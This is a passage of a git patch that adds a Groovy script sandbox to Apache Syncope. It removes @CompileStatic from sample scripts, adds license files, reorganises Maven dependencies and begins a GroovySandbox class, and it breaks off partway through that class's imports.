From 76ee32bed2fd6fe944a4e398722e583a00da3a5f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Francesco=20Chicchiricc=C3=B2?= Date: Fri, 29 Aug 2025 08:43:56 +0200 Subject: [PATCH] [SYNCOPE-1907] Groovy sandbox (#1162) --- .../implementations/MyAccountRule.groovy | 2 - .../MyAttrValueValidator.groovy | 2 - .../console/implementations/MyCommand.groovy | 2 - .../implementations/MyItemTransformer.groovy | 2 - .../implementations/MyLogicActions.groovy | 4 +- .../implementations/MyMacroActions.groovy | 2 - .../implementations/MyPasswordRule.groovy | 2 - .../MyPropagationActions.groovy | 2 - .../implementations/MyProvisionSorter.groovy | 2 - .../implementations/MyPullActions.groovy | 2 - .../MyPullCorrelationRule.groovy | 2 - .../implementations/MyPushActions.groovy | 2 - .../MyPushCorrelationRule.groovy | 2 - .../MyRecipientsProvider.groovy | 2 - .../MyReconFilterBuilder.groovy | 2 - .../MyReportJobDelegate.groovy | 2 - .../MySchedTaskJobDelegate.groovy | 2 - client/idrepo/enduser/LICENSE | 226 +++++++ client/idrepo/enduser/NOTICE | 13 + core/idrepo/logic/pom.xml | 5 - core/persistence-api/pom.xml | 36 +- core/provisioning-java/pom.xml | 29 - .../job/AbstractSchedTaskJobDelegate.java | 2 +- core/spring/pom.xml | 4 +- .../spring/implementation/GroovySandbox.java | 52 ++ .../implementation/ImplementationManager.java | 46 +- .../core/spring/security/SecurityContext.java | 20 + .../spring/security/SecurityProperties.java | 10 + .../main/resources/META-INF/groovy.blacklist | 112 ++++ .../core/spring/SpringTestConfiguration.java | 16 + .../implementation/GroovySandboxTest.java | 69 ++ ...ManagerTest.java => PasswordRuleTest.java} | 2 +- .../security/PasswordGeneratorTest.java | 14 +- .../test/resources/BashMacroActions.groovy | 48 ++ .../ProcessBuilderMacroActions.groovy | 77 +++ .../test/resources/simplelogger.properties | 22 + docker/core/LICENSE | 81 +-- docker/core/NOTICE | 37 +- docker/wa/LICENSE | 617 ++++-------------- docker/wa/NOTICE | 298 ++------- fit/build-tools/LICENSE | 24 +- fit/build-tools/NOTICE | 21 +- fit/build-tools/pom.xml | 5 + fit/core-reference/pom.xml | 6 + .../syncope/fit/core/MacroTaskITCase.java | 108 ++- .../resources/AddResourcePullActions.groovy | 13 +- .../resources/CustomAuditLogicActions.groovy | 2 - .../resources/DoubleValueLogicActions.groovy | 4 +- .../src/test/resources/GroovyCommand.groovy | 1 - .../resources/PrefixItemTransformer.groovy | 2 - .../src/test/resources/TestPullRule.groovy | 2 - .../src/test/resources/TestPushRule.groovy | 2 - .../resources/TestReconFilterBuilder.groovy | 2 - .../resources/scriptedsql/SearchScript.groovy | 30 +- .../resources/scriptedsql/SyncScript.groovy | 63 +- .../resources/scriptedsql/TestScript.groovy | 9 +- pom.xml | 18 +- sra/LICENSE | 5 - .../concepts/implementations.adoc | 13 +- standalone/LICENSE | 211 +++--- standalone/NOTICE | 165 +++-- 61 files changed, 1422 insertions(+), 1156 deletions(-) create mode 100644 client/idrepo/enduser/LICENSE create mode 100644 client/idrepo/enduser/NOTICE create mode 100644 core/spring/src/main/java/org/apache/syncope/core/spring/implementation/GroovySandbox.java create mode 100644 core/spring/src/main/resources/META-INF/groovy.blacklist create mode 100644 core/spring/src/test/java/org/apache/syncope/core/spring/implementation/GroovySandboxTest.java rename core/spring/src/test/java/org/apache/syncope/core/spring/implementation/{ImplementationManagerTest.java => PasswordRuleTest.java} (98%) create mode 100644 core/spring/src/test/resources/BashMacroActions.groovy create mode 100644 core/spring/src/test/resources/ProcessBuilderMacroActions.groovy create mode 100644 core/spring/src/test/resources/simplelogger.properties diff --git a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyAccountRule.groovy b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyAccountRule.groovy index 1826559aa4d..c21ec2d9b06 100644 --- a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyAccountRule.groovy +++ b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyAccountRule.groovy @@ -16,12 +16,10 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.transform.CompileStatic import org.apache.syncope.core.persistence.api.dao.AccountRule import org.apache.syncope.core.persistence.api.entity.user.LinkedAccount import org.apache.syncope.core.persistence.api.entity.user.User -@CompileStatic class MyAccountRule implements AccountRule { void enforce(String username) { diff --git a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyAttrValueValidator.groovy b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyAttrValueValidator.groovy index 9e9a79dc089..200cf884bbe 100644 --- a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyAttrValueValidator.groovy +++ b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyAttrValueValidator.groovy @@ -16,12 +16,10 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.transform.CompileStatic import org.apache.syncope.core.persistence.api.attrvalue.validation.PlainAttrValueValidator import org.apache.syncope.core.persistence.api.entity.PlainAttrValue import org.apache.syncope.core.persistence.api.entity.PlainSchema -@CompileStatic class MyAttrValueValidator implements PlainAttrValueValidator { @Override diff --git a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyCommand.groovy b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyCommand.groovy index 3dd7c7fcf9f..786e9c56ab9 100644 --- a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyCommand.groovy +++ b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyCommand.groovy @@ -16,11 +16,9 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.transform.CompileStatic import org.apache.syncope.common.lib.command.CommandArgs import org.apache.syncope.core.provisioning.api.macro.Command -@CompileStatic class MyCommand implements Command { String run(CommandArgs args) { diff --git a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyItemTransformer.groovy b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyItemTransformer.groovy index e1eceda8922..f1640490b7f 100644 --- a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyItemTransformer.groovy +++ b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyItemTransformer.groovy @@ -16,7 +16,6 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.transform.CompileStatic import java.util.List; import org.apache.commons.lang3.tuple.Pair import org.apache.syncope.common.lib.to.EntityTO @@ -26,7 +25,6 @@ import org.apache.syncope.core.persistence.api.entity.Any import org.apache.syncope.core.persistence.api.entity.PlainAttrValue import org.apache.syncope.core.provisioning.api.data.ItemTransformer -@CompileStatic class MyItemTransformer implements ItemTransformer { @Override diff --git a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyLogicActions.groovy b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyLogicActions.groovy index b176acd1d1a..5809a335d4f 100644 --- a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyLogicActions.groovy +++ b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyLogicActions.groovy @@ -16,14 +16,12 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.transform.CompileStatic import org.apache.syncope.common.lib.request.AnyCR import org.apache.syncope.common.lib.request.AnyUR import org.apache.syncope.common.lib.to.AnyTO import org.apache.syncope.common.lib.to.PropagationStatus import org.apache.syncope.core.logic.api.LogicActions -@CompileStatic class MyLogicActions implements LogicActions { @Override @@ -55,4 +53,4 @@ class MyLogicActions implements LogicActions { A afterDelete(A input, List statuses) { return input; } -} \ No newline at end of file +} diff --git a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyMacroActions.groovy b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyMacroActions.groovy index 354fa91ea21..91fdcf34a0a 100644 --- a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyMacroActions.groovy +++ b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyMacroActions.groovy @@ -16,7 +16,6 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.transform.CompileStatic import java.util.Map import java.util.Optional import javax.validation.ValidationException @@ -25,7 +24,6 @@ import org.apache.syncope.common.lib.form.SyncopeForm import org.apache.syncope.core.provisioning.api.macro.Command import org.apache.syncope.core.provisioning.api.macro.MacroActions -@CompileStatic class MyMacroActions implements MacroActions { @Override diff --git a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyPasswordRule.groovy b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyPasswordRule.groovy index a54f8ceb3c6..01580a97a5d 100644 --- a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyPasswordRule.groovy +++ b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyPasswordRule.groovy @@ -16,12 +16,10 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.transform.CompileStatic import org.apache.syncope.core.persistence.api.dao.PasswordRule import org.apache.syncope.core.persistence.api.entity.user.LinkedAccount import org.apache.syncope.core.persistence.api.entity.user.User -@CompileStatic class MyPasswordRule implements PasswordRule { void enforce(String username, String clearPassword) { diff --git a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyPropagationActions.groovy b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyPropagationActions.groovy index 9ad62814fed..724c1e0a8fa 100644 --- a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyPropagationActions.groovy +++ b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyPropagationActions.groovy @@ -16,7 +16,6 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.transform.CompileStatic import java.util.Optional import java.util.Set import org.apache.syncope.common.lib.to.OrgUnit @@ -26,7 +25,6 @@ import org.apache.syncope.core.provisioning.api.propagation.PropagationActions import org.apache.syncope.core.provisioning.api.propagation.PropagationTaskInfo; import org.identityconnectors.framework.common.objects.ConnectorObject -@CompileStatic class MyPropagationActions implements PropagationActions { @Override diff --git a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyProvisionSorter.groovy b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyProvisionSorter.groovy index 6605e7ecc6c..2b4b123f44f 100644 --- a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyProvisionSorter.groovy +++ b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyProvisionSorter.groovy @@ -16,11 +16,9 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.transform.CompileStatic import org.apache.syncope.common.lib.to.Provision import org.apache.syncope.core.provisioning.api.ProvisionSorter -@CompileStatic class MyProvisionSorter implements ProvisionSorter { @Override diff --git a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyPullActions.groovy b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyPullActions.groovy index c8ee0be506e..26ccb808fe5 100644 --- a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyPullActions.groovy +++ b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyPullActions.groovy @@ -16,7 +16,6 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.transform.CompileStatic import java.util.Set import org.apache.syncope.common.lib.request.AnyCR import org.apache.syncope.common.lib.request.AnyUR @@ -34,7 +33,6 @@ import org.apache.syncope.core.provisioning.api.pushpull.PullActions import org.identityconnectors.framework.common.objects.SyncDelta import org.quartz.JobExecutionException -@CompileStatic class MyPullActions implements PullActions { @Override diff --git a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyPullCorrelationRule.groovy b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyPullCorrelationRule.groovy index c4e3a8faecc..c85a24c9c8f 100644 --- a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyPullCorrelationRule.groovy +++ b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyPullCorrelationRule.groovy @@ -16,13 +16,11 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.transform.CompileStatic import org.apache.syncope.common.lib.to.Provision import org.apache.syncope.core.persistence.api.dao.PullCorrelationRule import org.apache.syncope.core.persistence.api.dao.search.SearchCond import org.identityconnectors.framework.common.objects.SyncDelta -@CompileStatic class MyPullCorrelationRule implements PullCorrelationRule { @Override diff --git a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyPushActions.groovy b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyPushActions.groovy index 61309c1fe0e..f462bc86b89 100644 --- a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyPushActions.groovy +++ b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyPushActions.groovy @@ -16,7 +16,6 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.transform.CompileStatic import java.util.Set import org.apache.syncope.common.lib.to.ProvisioningReport import org.apache.syncope.core.persistence.api.entity.Entity @@ -24,7 +23,6 @@ import org.apache.syncope.core.provisioning.api.pushpull.ProvisioningProfile import org.apache.syncope.core.provisioning.api.pushpull.PushActions import org.quartz.JobExecutionException -@CompileStatic class MyPushActions implements PushActions { @Override diff --git a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyPushCorrelationRule.groovy b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyPushCorrelationRule.groovy index f2547726d94..8355d3b2ec6 100644 --- a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyPushCorrelationRule.groovy +++ b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyPushCorrelationRule.groovy @@ -16,14 +16,12 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.transform.CompileStatic import org.apache.syncope.common.lib.to.Provision import org.apache.syncope.core.persistence.api.dao.PushCorrelationRule import org.apache.syncope.core.persistence.api.entity.Any import org.apache.syncope.core.persistence.api.entity.ExternalResource import org.identityconnectors.framework.common.objects.filter.Filter -@CompileStatic class MyPushCorrelationRule implements PushCorrelationRule { @Override diff --git a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyRecipientsProvider.groovy b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyRecipientsProvider.groovy index 39dfc7ea44f..840360890c1 100644 --- a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyRecipientsProvider.groovy +++ b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyRecipientsProvider.groovy @@ -16,14 +16,12 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.transform.CompileStatic import java.util.Map import java.util.Set import org.apache.syncope.core.persistence.api.entity.Any import org.apache.syncope.core.persistence.api.entity.Notification import org.apache.syncope.core.provisioning.api.notification.RecipientsProvider -@CompileStatic class MyRecipientsProvider implements RecipientsProvider { @Override diff --git a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyReconFilterBuilder.groovy b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyReconFilterBuilder.groovy index 7c07828dcff..7838c824dd0 100644 --- a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyReconFilterBuilder.groovy +++ b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyReconFilterBuilder.groovy @@ -16,13 +16,11 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.transform.CompileStatic import org.apache.syncope.core.provisioning.api.pushpull.ReconFilterBuilder import org.identityconnectors.framework.common.objects.ObjectClass import org.identityconnectors.framework.common.objects.filter.Filter import org.identityconnectors.framework.impl.api.local.operations.FilteredResultsHandler -@CompileStatic class MyReconFilterBuilder implements ReconFilterBuilder { @Override diff --git a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyReportJobDelegate.groovy b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyReportJobDelegate.groovy index 51f0621a3ae..8dc79030900 100644 --- a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyReportJobDelegate.groovy +++ b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyReportJobDelegate.groovy @@ -16,13 +16,11 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.transform.CompileStatic import org.apache.syncope.common.lib.report.ReportConf import org.apache.syncope.core.provisioning.api.job.report.ReportJobDelegate import org.quartz.JobExecutionContext import org.quartz.JobExecutionException -@CompileStatic class MyReportJobDelegate implements ReportJobDelegate { void interrupt() { diff --git a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MySchedTaskJobDelegate.groovy b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MySchedTaskJobDelegate.groovy index c49983ad39e..bc438465dc6 100644 --- a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MySchedTaskJobDelegate.groovy +++ b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MySchedTaskJobDelegate.groovy @@ -16,13 +16,11 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.transform.CompileStatic import org.apache.syncope.common.lib.types.TaskType import org.apache.syncope.core.provisioning.api.job.SchedTaskJobDelegate import org.quartz.JobExecutionContext import org.quartz.JobExecutionException -@CompileStatic class MySchedTaskJobDelegate implements SchedTaskJobDelegate { void interrupt() { diff --git a/client/idrepo/enduser/LICENSE b/client/idrepo/enduser/LICENSE new file mode 100644 index 00000000000..5f721c71630 --- /dev/null +++ b/client/idrepo/enduser/LICENSE @@ -0,0 +1,226 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright [yyyy] [name of copyright owner] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + +== + +For Admin LTE (https://github.com/almasaeed2010/AdminLTE/): +This is licensed under the terms of the MIT license: + + Permission is hereby granted, free of charge, to any person obtaining + a copy of this software and associated documentation files (the + "Software"), to deal in the Software without restriction, including + without limitation the rights to use, copy, modify, merge, publish, + distribute, sublicense, and/or sell copies of the Software, and to + permit persons to whom the Software is furnished to do so, subject to + the following conditions: + + The above copyright notice and this permission notice shall be + included in all copies or substantial portions of the Software. + + THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, + EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF + MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND + NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE + LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION + OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION + WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/client/idrepo/enduser/NOTICE b/client/idrepo/enduser/NOTICE new file mode 100644 index 00000000000..a9a10ab5afa --- /dev/null +++ b/client/idrepo/enduser/NOTICE @@ -0,0 +1,13 @@ +Apache Syncope +Copyright 2012-2023 The Apache Software Foundation + +This product includes software developed by: +The Apache Software Foundation (http://www.apache.org/). + +The following copyright notice(s) were affixed to portions of this code +with which this file is now or was at one time distributed. + +== + +This product includes software developed by the AdminLTE project. +Copyright (c) 2014-2017 Abdullah Almsaeed diff --git a/core/idrepo/logic/pom.xml b/core/idrepo/logic/pom.xml index 4b1a08211d4..5721b8d5271 100644 --- a/core/idrepo/logic/pom.xml +++ b/core/idrepo/logic/pom.xml @@ -47,11 +47,6 @@ under the License. spring-context-support - - org.aspectj - aspectjweaver - - org.apache.tika tika-core diff --git a/core/persistence-api/pom.xml b/core/persistence-api/pom.xml index c1e8de88439..22f562ade50 100644 --- a/core/persistence-api/pom.xml +++ b/core/persistence-api/pom.xml @@ -60,7 +60,41 @@ under the License. net.tirasa.connid slf4j-logging - + + + org.apache.groovy + groovy + + + org.apache.groovy + groovy-templates + + + org.apache.groovy + groovy-xml + + + org.apache.groovy + groovy-jsr223 + + + org.apache.groovy + groovy-datetime + + + org.apache.groovy + groovy-dateutil + + + org.apache.groovy + groovy-sql + + + + net.tirasa + groovy-security-sandbox + + org.apache.syncope.common.idm syncope-common-idm-lib diff --git a/core/provisioning-java/pom.xml b/core/provisioning-java/pom.xml index 6950bf91943..b62f2f68170 100644 --- a/core/provisioning-java/pom.xml +++ b/core/provisioning-java/pom.xml @@ -72,35 +72,6 @@ under the License. pdfbox - - org.apache.groovy - groovy - - - org.apache.groovy - groovy-templates - - - org.apache.groovy - groovy-xml - - - org.apache.groovy - groovy-jsr223 - - - org.apache.groovy - groovy-datetime - - - org.apache.groovy - groovy-dateutil - - - org.apache.groovy - groovy-sql - - org.apache.syncope.core syncope-core-workflow-api diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/AbstractSchedTaskJobDelegate.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/AbstractSchedTaskJobDelegate.java index e8f1297d496..0f37b8c89f6 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/AbstractSchedTaskJobDelegate.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/AbstractSchedTaskJobDelegate.java @@ -156,7 +156,7 @@ public void execute( execution.setStatus(TaskJob.Status.SUCCESS.name()); result = AuditElements.Result.SUCCESS; - } catch (JobExecutionException e) { + } catch (SecurityException | JobExecutionException e) { LOG.error("While executing task {}", taskKey, e); result = AuditElements.Result.FAILURE; diff --git a/core/spring/pom.xml b/core/spring/pom.xml index bd95e439a38..662f0a825be 100644 --- a/core/spring/pom.xml +++ b/core/spring/pom.xml @@ -76,8 +76,8 @@ under the License. - org.apache.groovy - groovy + org.aspectj + aspectjweaver diff --git a/core/spring/src/main/java/org/apache/syncope/core/spring/implementation/GroovySandbox.java b/core/spring/src/main/java/org/apache/syncope/core/spring/implementation/GroovySandbox.java new file mode 100644 index 00000000000..ece31ad6119 --- /dev/null +++ b/core/spring/src/main/java/org/apache/syncope/core/spring/implementation/GroovySandbox.java @@ -0,0 +1,52 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.spring.implementation; + +import org.aspectj.lang.ProceedingJoinPoint; +import org.aspectj.lang.annotation.Around; +import org.aspectj.lang.annotation.Aspect; +import org.jenkinsci.plugins.scriptsecurity.sandbox.Whitelist; +import org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SandboxInterceptor; +import 